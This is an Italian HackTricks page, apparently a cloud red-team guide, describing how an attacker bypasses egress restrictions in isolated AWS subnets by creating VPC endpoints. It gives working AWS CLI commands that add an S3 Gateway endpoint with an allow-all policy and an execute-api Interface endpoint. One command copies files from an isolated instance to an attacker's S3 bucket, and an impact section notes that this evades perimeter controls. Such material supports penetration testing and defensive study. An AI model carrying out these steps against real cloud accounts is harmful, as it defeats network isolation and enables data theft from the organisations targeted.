AWS – Bypass dell'egress dalle subnet isolate tramite VPC Endpoints

Reading time: 4 minutes

tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks

Questa tecnica sfrutta i VPC Endpoints per creare canali di esfiltrazione da subnet senza Internet Gateways o NAT. I Gateway endpoints (e.g., S3) aggiungono route di prefix‑list nelle route table delle subnet; gli Interface endpoints (e.g., execute-api, secretsmanager, ssm, etc.) creano ENI raggiungibili con IP privati protetti da security group. Con permessi minimi su VPC/EC2, un attaccante può abilitare un egress controllato che non attraversa l'Internet pubblica.

Prerequisiti: VPC esistente e subnet private (no IGW/NAT). Ti serviranno permessi per creare VPC endpoints e, per l'Opzione B, uno security group da associare alle ENI dell'endpoint.

Opzione A – S3 Gateway VPC Endpoint

Variabili

  • REGION=us-east-1
  • VPC_ID=<target vpc>
  • RTB_IDS=<comma-separated route table IDs of private subnets>
  1. Crea un file di policy permissiva per l'endpoint (opzionale). Salva come allow-put-get-any-s3.json:
json
{
"Version": "2012-10-17",
"Statement": [ { "Effect": "Allow", "Action": ["s3:*"], "Resource": ["*"] } ]
}
  1. Crea l'endpoint S3 Gateway (aggiunge S3 prefix‑list route alle tabelle di route selezionate):
bash
aws ec2 create-vpc-endpoint \
--vpc-id $VPC_ID \
--service-name com.amazonaws.$REGION.s3 \
--vpc-endpoint-type Gateway \
--route-table-ids $RTB_IDS \
--policy-document file://allow-put-get-any-s3.json   # optional

Evidenze da raccogliere:

  • aws ec2 describe-route-tables --route-table-ids $RTB_IDS mostra una route verso la prefix list S3 di AWS (es., DestinationPrefixListId=pl-..., GatewayId=vpce-...).
  • Da un'istanza in quelle subnets (con IAM perms) puoi exfil via S3 senza Internet:
bash
# On the isolated instance (e.g., via SSM):
echo data > /tmp/x.txt
aws s3 cp /tmp/x.txt s3://<your-bucket>/egress-test/x.txt --region $REGION

Opzione B – Interface VPC Endpoint for API Gateway (execute-api)

Variabili

  • REGION=us-east-1
  • VPC_ID=<target vpc>
  • SUBNET_IDS=<comma-separated private subnets>
  • SG_VPCE=<security group for the endpoint ENIs allowing 443 from target instances>
  1. Crea l'interface endpoint e associa il SG:
bash
aws ec2 create-vpc-endpoint \
--vpc-id $VPC_ID \
--service-name com.amazonaws.$REGION.execute-api \
--vpc-endpoint-type Interface \
--subnet-ids $SUBNET_IDS \
--security-group-ids $SG_VPCE \
--private-dns-enabled

Evidenze da raccogliere:

  • aws ec2 describe-vpc-endpoints mostra l'endpoint in stato available con NetworkInterfaceIds (ENIs nelle tue subnet).
  • Le istanze in quelle subnet possono raggiungere endpoint Private API Gateway attraverso quei VPCE ENIs (nessun percorso Internet richiesto).

Impatto

  • Elude i controlli di egress perimetrali sfruttando percorsi privati gestiti da AWS verso i servizi AWS.
  • Consente l'exfiltrazione di dati da subnet isolate (ad es., scrittura su S3; chiamate a Private API Gateway; accesso a Secrets Manager/SSM/STS, ecc.) senza IGW/NAT.

tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks